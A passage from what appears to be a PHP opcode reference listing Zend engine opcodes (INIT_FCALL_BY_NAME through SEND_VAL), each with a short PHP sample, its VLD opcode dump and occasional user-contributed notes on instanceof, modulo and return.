6 | 0 | INIT_ARRAY |  |  | ~0 | 1
 | 1 | ADD_ARRAY_ELEMENT |  |  | ~0 | 2
 | 2 | ADD_ARRAY_ELEMENT |  |  | ~0 | 3
 | 3 | ASSIGN |  |  |  | !0,~0
7 | 4 | SEND_VAR |  |  |  | !0
 | 5 | DO_FCALL |  | 1 |  | 'print_r'
8 | 6 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


INIT_FCALL_BY_NAME

PHP code

<?php
/*
 * prepare for a function call to function value1
 * opcode number: 59
 */
$x = 'phpinfo';
$a = $x();
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$x, !1=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN |  |  |  | !0,'phpinfo'
7 | 1 | INIT_FCALL_BY_NAME |  |  |  | !0
 | 2 | DO_FCALL_BY_NAME |  | 0 |  |
 | 3 | ASSIGN |  |  |  | !1,$1
8 | 4 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


INIT_METHOD_CALL

PHP code

<?php
/*
 * Prepare for a method call.  Followed by DO_FCALL.
 * opcode number: 112
 */
class A {
  var $num;
    function incrementNum(){
    $num++;
  }
}

$obj = new A();
$obj->incrementNum();

?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$obj

line | # | op | fetch | ext | return | operands
6 | 0 | NOP |  |  |  |
13 | 1 | ZEND_FETCH_CLASS |  |  | :1 | 'A'
 | 2 | NEW |  |  | $2 | :1
 | 3 | DO_FCALL_BY_NAME |  | 0 |  |
 | 4 | ASSIGN |  |  |  | !0,$2
14 | 5 | ZEND_INIT_METHOD_CALL |  |  |  | !0,'incrementNum'
 | 6 | DO_FCALL_BY_NAME |  | 0 |  |
16 | 7 | RETURN |  |  |  | 1

Function name: incrementNum

Compiled variables: !0=$num

line | # | op | fetch | ext | return | operands
9 | 0 | POST_INC |  |  | ~0 | !0
 | 1 | FREE |  |  |  | ~0
10 | 2 | RETURN |  |  |  | null

User Contributed Notes

There are no user contributed notes for this page.


INIT_NS_FCALL_BY_NAME

PHP code

<?php
/*
 *
 * opcode number: 69
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


INIT_STATIC_METHOD_CALL

PHP code

<?php
/*
 *
 * opcode number: 113
 */
class Foo {
    public static function aStaticMethod() {
            echo "hello world\n";
    }
}

Foo::aStaticMethod();
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | NOP |  |  |  |
12 | 1 | ZEND_INIT_STATIC_METHOD_CALL |  |  |  | 'Foo','aStaticMethod'
 | 2 | ZEND_OP_DATA |  |  |  | 'foo%3A%3Aastaticmethod'
 | 3 | DO_FCALL_BY_NAME |  | 0 |  |
13 | 4 | RETURN |  |  |  | 1

Function name: aStaticMethod

Compiled variables: none

line | # | op | fetch | ext | return | operands
8 | 0 | ECHO |  |  |  | 'hello+world%0A'
9 | 1 | RETURN |  |  |  | null

User Contributed Notes

There are no user contributed notes for this page.


INIT_STRING

PHP code

<?php
/*
 * appears to create a string variable in result
 * opcode number: 53
 */
echo "hello$a world";
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ADD_STRING |  |  | ~0 | 'hello'
 | 1 | ADD_VAR |  |  | ~0 | ~0,!0
 | 2 | ADD_STRING |  |  | ~0 | ~0,'+world'
 | 3 | ECHO |  |  |  | ~0
7 | 4 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


INSTANCEOF

PHP code

<?php
/*
 *
 * opcode number: 138
 */
$obj = new A();

if ($obj instanceof A) {
   echo 'A';
}
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$obj

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_FETCH_CLASS |  |  | :0 | 'A'
 | 1 | NEW |  |  | $1 | :0
 | 2 | DO_FCALL_BY_NAME |  | 0 |  |
 | 3 | ASSIGN |  |  |  | !0,$1
8 | 4 | ZEND_FETCH_CLASS |  |  | :4 | 'A'
 | 5 | ZEND_INSTANCEOF |  |  | ~5 | !0,$4
 | 6 | JMPZ |  |  |  | ~5,->9
9 | 7 | ECHO |  |  |  | 'A'
10 | 8 | JMP |  |  |  | ->9
11 | 9 | RETURN |  |  |  | 1

User Contributed Notes

katrinaelaine6 at gmail dot com 22-Mar-2017 02:31
instanceof also works on abstract classes and interfaces.

<?php

abstract class Grandpa {}
interface Father {}
interface Son {}

class Base extends Grandpa implements Father {}
class Child extends Base implements Son {}

$b = new Base();
$c = new Child();

/* All of the following are true. */

var_dump($b instanceof Grandpa);
var_dump($b instanceof Father);

var_dump($c instanceof Son);
var_dump($c instanceof Father);
var_dump($c instanceof Grandpa);

?>
portugal {at} jawira {dot} com 17-Jun-2015 08:49
I'm commenting here because the note from "admin at torntech" is incomplete. You can perfectly replace "is_a()" function with "instanceof" operator. However you must use a variable to store the class name, otherwise you will get a Parse error:

<?php
$object = new \stdClass();
$class_name = '\stdClass';

var_dump($object instanceof $class_name);    // bool(true)
var_dump($object instanceof '\stdClass');    // Parse error: syntax error, unexpected ''\stdClass'' (T_CONSTANT_ENCAPSED_STRING)
?>

Please go to Type Operators page for more details about "instanceof": http://php.net/manual/en/language.operators.type.php
krall dot eugene at gmail dot com 10-Mar-2015 09:54
When checking instanceof against a class that implements the class in question, it will return true.

<?php

interface ExampleInterface
{
    public function interfaceMethod();

}

class ExampleClass implements ExampleInterface
{
    public function interfaceMethod()
    {
        return 'Hello World!';
    }
}

$exampleInstance = new ExampleClass();

if($exampleInstance instanceof ExampleInterface)
    echo 'Yes, it is';
else
    echo 'No, it is not';

?>

The result:

Yes, it is
admin at torntech dot com 10-Feb-2015 06:46
Despite this section being opcode examples, for php 5.3+ see also is_a()
*Note php 5.0 - 5.2 is_a() was depreciated in favor of instanceof but was undepreciated in 5.3+.

Allows for string comparison against the class name and functions in the same manner as cody mentions like so.
<?php
namespace Foo{
    class Bar {}
    class Baz extends Bar{}
}
namespace {
    $baz = new Foo\Baz;

    var_dump($baz instanceof Foo\Bar);
    /* returns bool(true) */

    var_dump(is_a($baz, 'Foo\\Bar'));
    /* returns bool(true) */

    var_dump($baz instanceof 'Foo\\Bar');
    /* returns Runtime parse error */
}
?>
cody at codysnider dot com 20-Jun-2012 06:54
When checking instanceof against a subclass of the class in question, it will return true.

<?php

class Foo {

    public $foobar = 'Foo';

    public function test() {
        echo $this->foobar . "\n";
    }

}

class Bar extends Foo {

    public $foobar = 'Bar';

}

$a = new Foo();
$b = new Bar();

echo "use of test() method\n";
$a->test();
$b->test();

echo "instanceof Foo\n";
var_dump($a instanceof Foo); // TRUE
var_dump($b instanceof Foo); // TRUE

echo "instanceof Bar\n";
var_dump($a instanceof Bar); // FALSE
var_dump($b instanceof Bar); // TRUE

echo "subclass of Foo\n";
var_dump(is_subclass_of($a, 'Foo')); // FALSE
var_dump(is_subclass_of($b, 'Foo')); // TRUE

echo "subclass of Bar\n";
var_dump(is_subclass_of($a, 'Bar')); // FALSE
var_dump(is_subclass_of($b, 'Bar')); // FALSE

?>

Result (CLI, 5.4.4):

use of test() method
Foo
Bar
instanceof Foo
bool(true)
bool(true)
instanceof Bar
bool(false)
bool(true)
subclass of Foo
bool(false)
bool(true)
subclass of Bar
bool(false)
bool(false)
asdf at asdf dot com 03-Apr-2012 10:13
Please note, that you get no warnings on non-existent classes:

<?php
class A() {
}

$a = new A();

$exists = ($a instanceof A); //TRUE
$exists = ($a instanceof NonExistentClass); //FALSE


IS_EQUAL

PHP code

<?php
/*
 * compares if value1 and value2 are equal
 * opcode number: 17
 */
echo (1 == 1);
echo (1 == 'c');
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | IS_EQUAL |  |  | ~0 | 1,1
 | 1 | ECHO |  |  |  | ~0
7 | 2 | IS_EQUAL |  |  | ~1 | 1,'c'
 | 3 | ECHO |  |  |  | ~1
8 | 4 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


IS_IDENTICAL

PHP code

<?php
/*
 * Compares value1 and value2 to see if they are equal AND have the same type
 * opcode number: 15
 */
echo (1===1);
echo (1==='a');
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | IS_IDENTICAL |  |  | ~0 | 1,1
 | 1 | ECHO |  |  |  | ~0
7 | 2 | IS_IDENTICAL |  |  | ~1 | 1,'a'
 | 3 | ECHO |  |  |  | ~1
8 | 4 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


IS_NOT_EQUAL

PHP code

<?php
/*
 * compares if value1 and value2 are not equal
 * opcode number: 18
 */
echo (1 != 1);
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | IS_NOT_EQUAL |  |  | ~0 | 1,1
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


IS_NOT_IDENTICAL

PHP code

<?php
/*
 * compares value1 and value2 to see if they are unequal or of different types
 * opcode number: 16
 */
echo (1 !== 1);
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | IS_NOT_IDENTICAL |  |  | ~0 | 1,1
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


IS_SMALLER

PHP code

<?php
/*
 * compares if value1 is less than value2
 * opcode number: 19
 */
echo (1 < 2);
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | IS_SMALLER |  |  | ~0 | 1,2
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


IS_SMALLER_OR_EQUAL

PHP code

<?php
/*
 * compares if value1 is less than or equal to value2
 * opcode number: 20
 */
echo (2 <= 1);
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | IS_SMALLER_OR_EQUAL |  |  | ~0 | 2,1
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ISSET_ISEMPTY_DIM_OBJ

PHP code

<?php
/*
 * Tests if the entry of an array is set or not.
 * opcode number: 115
 */
if(isset($a[0])) return 0;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_ISSET_ISEMPTY_DIM_OBJ |  | 1 | ~0 | !0,0
 | 1 | JMPZ |  |  |  | ~0,->4
 | 2 | RETURN |  |  |  | 0
 | 3 | JMP |  |  |  | ->4
7 | 4 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ISSET_ISEMPTY_PROP_OBJ

PHP code

<?php
/*
 *
 * opcode number: 148
 */
$obj = new A();
if(empty($obj->num)) return 0;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$obj

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_FETCH_CLASS |  |  | :0 | 'A'
 | 1 | NEW |  |  | $1 | :0
 | 2 | DO_FCALL_BY_NAME |  | 0 |  |
 | 3 | ASSIGN |  |  |  | !0,$1
7 | 4 | ZEND_ISSET_ISEMPTY_PROP_OBJ |  |  | ~4 | !0,'num'
 | 5 | JMPZ |  |  |  | ~4,->8
 | 6 | RETURN |  |  |  | 0
 | 7 | JMP |  |  |  | ->8
8 | 8 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


ISSET_ISEMPTY_VAR

PHP code

<?php
/*
 * Tests if the value of a variable is set or not.
 * opcode number: 114
 */
if(isset($a)){ return 0;}
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_ISSET_ISEMPTY_VAR |  | 5 | ~0 | !0
 | 1 | JMPZ |  |  |  | ~0,->4
 | 2 | RETURN |  |  |  | 0
 | 3 | JMP |  |  |  | ->4
7 | 4 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


JMP

PHP code

<?php
/*
 * Unconditonally jump to the address
 * opcode number: 42
 */
$foo = false;
while(!$foo) {
    $foo = true;
}
?>

PHP opcodes

Function name: (null)

compiled vars: !0 = $foo

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN |  |  |  | !0, false
7 | 1 | BOOL_NOT |  |  | ~1 | !0
 | 2 | JMPZ |  |  |  | ~1, ->5
8 | 3 | ASSIGN |  |  |  | !0, true
9 | 4 | JMP |  |  |  | ->1
11 | 5 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


JMPNZ

PHP code

<?php
/*
 * Jump to the address if the value is not zero
 * opcode number: 44
 */
for($i=0; $i<3; $i++){
    echo "hi";
}
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$i

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN |  |  |  | !0,0
 | 1 | IS_SMALLER |  |  | ~1 | !0,3
 | 2 | JMPZNZ |  | 6 |  | ~1,->8
 | 3 | POST_INC |  |  | ~2 | !0
 | 4 | FREE |  |  |  | ~2
 | 5 | JMP |  |  |  | ->1
7 | 6 | ECHO |  |  |  | 'hi'
8 | 7 | JMP |  |  |  | ->3
9 | 8 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


JMPNZ_EX

PHP code

<?php
/*
 * Jump to the address if the xor of value1 and value2 is zero .. ???
 * opcode number: 47
 */
if(1^2) return;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | BW_XOR |  |  | ~0 | 1,2
 | 1 | JMPZ |  |  |  | ~0,->4
 | 2 | RETURN |  |  |  | null
 | 3 | JMP |  |  |  | ->4
7 | 4 | RETURN |  |  |  | 1

User Contributed Notes

gennady at kovshenin dot com 16-Mar-2015 01:04
This one is emitted inside a do .. while structure where booleans are compared with logical OR.


JMPZ

PHP code

<?php
/*
 * Jump to the address if the value is zero
 * opcode number: 43
 */
if($a != 0) echo "foo";
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | IS_NOT_EQUAL |  |  | ~0 | !0,0
 | 1 | JMPZ |  |  |  | ~0,->4
 | 2 | ECHO |  |  |  | 'foo'
 | 3 | JMP |  |  |  | ->4
7 | 4 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


JMPZ_EX

PHP code

<?php
/*
 * Jump to the address if the xor of value1 and value2 is zero .. ???
 * opcode number: 46
 */

?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
7 | 0 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


JMPZNZ

PHP code

<?php
/*
 * Jump to the address given in the operands if the value is zero;
 * jump to the address given in extended data if nonzero.
 * opcode number: 45
 */
for($i=0; $i<3; $i++){
    echo "hi";
}
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$i

line | # | op | fetch | ext | return | operands
6 | 0 | ASSIGN |  |  |  | !0,0
 | 1 | IS_SMALLER |  |  | ~1 | !0,3
 | 2 | JMPZNZ |  | 6 |  | ~1,->8
 | 3 | POST_INC |  |  | ~2 | !0
 | 4 | FREE |  |  |  | ~2
 | 5 | JMP |  |  |  | ->1
7 | 6 | ECHO |  |  |  | 'hi'
8 | 7 | JMP |  |  |  | ->3
9 | 8 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


MOD

PHP code

<?php
/*
 * Makes the value of "result" congruent to "value1" modulo "value2".
 * opcode number: 5
 */
echo 6 % 3;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | MOD |  |  | ~0 | 6,3
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

martynas dot stropa at gmail dot com 28-Oct-2014 04:45
A function to handle integers of any length, including negatives. Returns remainder but also calculates division in the process (could be useful in some cases).

<?php
function remainder($dividend, $divisor) {
    if ($dividend == 0 || $divisor == 0) return 0;

    $dividend .= '';
    $remainder = 0;
    $division = '';

    // negative case
    while ($dividend < 0) {
        $dividend += $divisor;
        if ($dividend >= 0) return $dividend;
    }

    // positive case
    while (($remainder.$dividend)*1 > $divisor) {
        // get remainder big enough to divide
        while ($remainder*1 < $divisor) {
            $remainder .= $dividend[0];
            $remainder *= 1;
            $dividend = substr($dividend, 1);
        }

        // get highest multiplicator for remainder
        $mult = floor($remainder / $divisor);

        // add multiplicator to division
        $division .= $mult.'';

        // subtract from remainder
        $remainder -= $mult*$divisor;
    }

    // add remaining zeros if any, to division
    if (strlen($dividend) > 0 && $dividend*1 == 0) {
        $division .= $dividend;
    }

    return $remainder;
}
doug at unlikelysource dot com 05-Oct-2014 11:30
To determine odd or even it's faster and more efficient to use the bitwise & operator:
$a = 3;
if ($a & 1) {
    echo 'odd';
} else {
    echo 'even';
}
// returns 'odd'
napora dot adam at gmail dot com 25-May-2012 04:22
Might be helpful:

I had to create and "INSERT INTO" on every 50th row:

<?php
$lineBreak = 50;
$tableName = 'user';
$tableFields = 'id, name, password';
?>

in the loop:

<?php
if ($counter === 0 || $counter % $lineBreak === 0) {
    echo "INSERT INTO $tableName ($tableFields) VALUES (";
} else {
    echo ' (';
}

// add values comma-delimited

if ($counter === 0 || $counter % $lineBreak === 0) {
    $insertStmt .= ');';
} else {
    $insertStmt .= '),';
}
?>

(in my case I had to check if $no % $o === 0)


MUL

PHP code

<?php
/*
 * Multiplys "value1" by "value2" and stores the result into "result".
 * opcode number: 3
 */
echo 2*3;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | MUL |  |  | ~0 | 2,3
 | 1 | ECHO |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


NEW

PHP code

<?php
/*
 * Construct an instance of "type" and store the reference to the object into "result".
 * opcode number: 68
 */
$obj = new A();
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$obj

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_FETCH_CLASS |  |  | :0 | 'A'
 | 1 | NEW |  |  | $1 | :0
 | 2 | DO_FCALL_BY_NAME |  | 0 |  |
 | 3 | ASSIGN |  |  |  | !0,$1
7 | 4 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


NOP

PHP code

<?php
/*
 * no operation
 * opcode number: 0
 */
function A(){};
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | NOP |  |  |  |
7 | 1 | RETURN |  |  |  | 1

Function name: A

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | RETURN |  |  |  | null

User Contributed Notes

There are no user contributed notes for this page.


POST_DEC

PHP code

<?php
/*
 * decrements variable indicated by value1 by 1 (after performing other operations) and stores in result
 * opcode number: 37
 */
$a--;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | POST_DEC |  |  | ~0 | !0
 | 1 | FREE |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


POST_DEC_OBJ

PHP code

<?php
/*
 *
 * opcode number: 135
 */
$obj = new A();
$obj->num--;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$obj

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_FETCH_CLASS |  |  | :0 | 'A'
 | 1 | NEW |  |  | $1 | :0
 | 2 | DO_FCALL_BY_NAME |  | 0 |  |
 | 3 | ASSIGN |  |  |  | !0,$1
7 | 4 | ZEND_POST_DEC_OBJ |  |  | ~5 | !0,'num'
 | 5 | FREE |  |  |  | ~5
8 | 6 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


POST_INC

PHP code

<?php
/*
 * increments variable indicated by value1 by 1 (after performing other operations) and stores in result
 * opcode number: 36
 */
$a++;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | POST_INC |  |  | ~0 | !0
 | 1 | FREE |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


POST_INC_OBJ

PHP code

<?php
/*
 * Increment the property value specified by prop-name and store the original value into result.
 * opcode number: 134
 */
$obj = new A();
$obj->num++;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$obj

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_FETCH_CLASS |  |  | :0 | 'A'
 | 1 | NEW |  |  | $1 | :0
 | 2 | DO_FCALL_BY_NAME |  | 0 |  |
 | 3 | ASSIGN |  |  |  | !0,$1
7 | 4 | ZEND_POST_INC_OBJ |  |  | ~5 | !0,'num'
 | 5 | FREE |  |  |  | ~5
8 | 6 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


PRE_DEC

PHP code

<?php
/*
 * decrements variable indicated by value1 by 1 (before performing other operations) and stores in results
 * opcode number: 35
 */
--$a;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | PRE_DEC |  |  |  | !0
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


PRE_DEC_OBJ

PHP code

<?php
/*
 *
 * opcode number: 133
 */
$obj = new A();
--$obj->num;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$obj

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_FETCH_CLASS |  |  | :0 | 'A'
 | 1 | NEW |  |  | $1 | :0
 | 2 | DO_FCALL_BY_NAME |  | 0 |  |
 | 3 | ASSIGN |  |  |  | !0,$1
7 | 4 | ZEND_PRE_DEC_OBJ |  |  |  | !0,'num'
8 | 5 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


PRE_INC

PHP code

<?php
/*
 * increments variable indicated by value1 by 1 (before performing other operations) and stores in result
 * opcode number: 34
 */
++$a;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | PRE_INC |  |  |  | !0
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


PRE_INC_OBJ

PHP code

<?php
/*
 *
 * opcode number: 132
 */
$obj = new A();
++$obj->num;
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$obj

line | # | op | fetch | ext | return | operands
6 | 0 | ZEND_FETCH_CLASS |  |  | :0 | 'A'
 | 1 | NEW |  |  | $1 | :0
 | 2 | DO_FCALL_BY_NAME |  | 0 |  |
 | 3 | ASSIGN |  |  |  | !0,$1
7 | 4 | ZEND_PRE_INC_OBJ |  |  |  | !0,'num'
8 | 5 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


PRINT

PHP code

<?php
/*
 *
 * opcode number: 41
 */
print "Hello World";
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | PRINT |  |  | ~0 | 'Hello+World'
 | 1 | FREE |  |  |  | ~0
7 | 2 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


QM_ASSIGN

PHP code

<?php
/*
 * Question Mark Assign, used twice inside a question mark assign to temporarily assign result as value1  (this is followed up with an ASSIGN bytecode)
 * opcode number: 22
 */
function A(){
 echo 1?2:3;
}

function B(){
 $b = 0;
 $a = $b > 1 ? 10: 11;
}
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | NOP |  |  |  |
10 | 1 | NOP |  |  |  |
14 | 2 | RETURN |  |  |  | 1

Function name: A

Compiled variables: none

line | # | op | fetch | ext | return | operands
7 | 0 | JMPZ |  |  |  | 1,->3
 | 1 | QM_ASSIGN |  |  | ~0 | 2
 | 2 | JMP |  |  |  | ->4
 | 3 | QM_ASSIGN |  |  | ~0 | 3
 | 4 | ECHO |  |  |  | ~0
8 | 5 | RETURN |  |  |  | null

Function name: B

Compiled variables: !0=$b, !1=$a

line | # | op | fetch | ext | return | operands
11 | 0 | ASSIGN |  |  |  | !0,0
12 | 1 | IS_SMALLER |  |  | ~1 | 1,!0
 | 2 | JMPZ |  |  |  | ~1,->5
 | 3 | QM_ASSIGN |  |  | ~2 | 10
 | 4 | JMP |  |  |  | ->6
 | 5 | QM_ASSIGN |  |  | ~2 | 11
 | 6 | ASSIGN |  |  |  | !1,~2
13 | 7 | RETURN |  |  |  | null

User Contributed Notes

There are no user contributed notes for this page.


RAISE_ABSTRACT_ERROR

PHP code

<?php
/*
 *
 * opcode number: 142
 */

abstract class fail {
    abstract function show();
}

class pass extends fail {
    function show() {
        echo "Call to function show()\n";
    }
}

$t2 = new pass();
$t2->show();

$t = new fail();
$t->show();

echo "Done\n"; // shouldn't be displayed
?>

PHP opcodes

Function name: (null)

Compiled variables: !0=$t2, !1=$t

line | # | op | fetch | ext | return | operands
7 | 0 | NOP |  |  |  |
11 | 1 | NOP |  |  |  |
 | 2 | NOP |  |  |  |
17 | 3 | ZEND_FETCH_CLASS |  |  | :3 | 'pass'
 | 4 | NEW |  |  | $4 | :3
 | 5 | DO_FCALL_BY_NAME |  | 0 |  |
 | 6 | ASSIGN |  |  |  | !0,$4
18 | 7 | ZEND_INIT_METHOD_CALL |  |  |  | !0,'show'
 | 8 | DO_FCALL_BY_NAME |  | 0 |  |
20 | 9 | ZEND_FETCH_CLASS |  |  | :9 | 'fail'
 | 10 | NEW |  |  | $10 | :9
 | 11 | DO_FCALL_BY_NAME |  | 0 |  |
 | 12 | ASSIGN |  |  |  | !1,$10
21 | 13 | ZEND_INIT_METHOD_CALL |  |  |  | !1,'show'
 | 14 | DO_FCALL_BY_NAME |  | 0 |  |
23 | 15 | ECHO |  |  |  | 'Done%0A'
24 | 16 | RETURN |  |  |  | 1

Function name: show

Compiled variables: none

line | # | op | fetch | ext | return | operands
8 | 0 | ZEND_RAISE_ABSTRACT_ERROR |  |  |  |
 | 1 | RETURN |  |  |  | null

Function name: show

Compiled variables: none

line | # | op | fetch | ext | return | operands
13 | 0 | ECHO |  |  |  | 'Call+to+function+show%28%29%0A'
14 | 1 | RETURN |  |  |  | null

User Contributed Notes

There are no user contributed notes for this page.


RECV

PHP code

<?php
/*
 * Receive a functoin argument of "argument-number" and store the argument value into a variable of "argument-number".  (e.g. $1 for 1)
 * opcode number: 63
 */
function hello($a){}
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | NOP |  |  |  |
7 | 1 | RETURN |  |  |  | 1

Function name: hello

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | RECV |  |  |  | 1
 | 1 | RETURN |  |  |  | null

User Contributed Notes

There are no user contributed notes for this page.


RECV_INIT

PHP code

<?php
/*
 * Initialize a function argument with "value" if not received from caller.  Otherwise same as RECV.
 * opcode number: 64
 */
function hello($a=5){}
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | NOP |  |  |  |
7 | 1 | RETURN |  |  |  | 1

Function name: hello

Compiled variables: !0=$a

line | # | op | fetch | ext | return | operands
6 | 0 | RECV_INIT |  |  |  | 1,5
 | 1 | RETURN |  |  |  | null

User Contributed Notes

There are no user contributed notes for this page.


RETURN

PHP code

<?php
/*
 * Return value from a funciton.
 * opcode number: 62
 */
return 1;
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | RETURN |  |  |  | 1
7 | 1 | RETURN |  |  |  | 1

User Contributed Notes

fengdingbo at gmail dot com 23-Jul-2013 05:40
qiufeng@ubuntu:~$ php -dvld.active=1 -r 'return 1;'
Finding entry points
Branch analysis from position: 0
Return found
filename:       Command line code
function name:  (null)
number of ops:  2
compiled vars:  none
line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   1     0  > > RETURN                                                   1
         1*   > RETURN                                                   null

branch: #  0; line:     1-    1; sop:     0; eop:     1
path #1: 0,


RETURN_BY_REF

PHP code

<?php
/*
 *
 * opcode number: 111
 * No sample PHP yet */
?>

User Contributed Notes

There are no user contributed notes for this page.


SEND_REF

PHP code

<?php
/*
 * Pass the reference value as an actual parameter to a function.  DO_FCALL follows.
 * opcode number: 67
 */
@each($input);
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | BEGIN_SILENCE |  |  | ~0 |
 | 1 | FETCH_W | local |  | $1 | 'input'
 | 2 | SEND_REF |  |  |  | $1
 | 3 | DO_FCALL |  | 1 |  | 'each'
 | 4 | END_SILENCE |  |  |  | ~0
7 | 5 | RETURN |  |  |  | 1

User Contributed Notes

There are no user contributed notes for this page.


SEND_VAL

PHP code

<?php
/*
 * Pass the constant value as an actual parameter to a function.  DO_FCALL follows.
 * opcode number: 65
 */
function funcA($msg){
    print $msg;
}

funcA('HELLO');

defined('IN_PHPBB');
?>

PHP opcodes

Function name: (null)

Compiled variables: none

line | # | op | fetch | ext | return | operands
6 | 0 | NOP |  |  |  |
10 | 1 | SEND_VAL |  |  |  | 'HELLO'
 | 2 | DO_FCALL |  | 1 |  | 'funca'
12 | 3 | SEND_VAL |  |  |  | 'IN_PHPBB'
 | 4 | DO_FCALL |  | 1 |  | 'defined'
13 | 5 | RETURN |  |  |  | 1

Function name: funcA

Compiled variables: !0=$msg

line | # | op | fetch | ext | return | operands
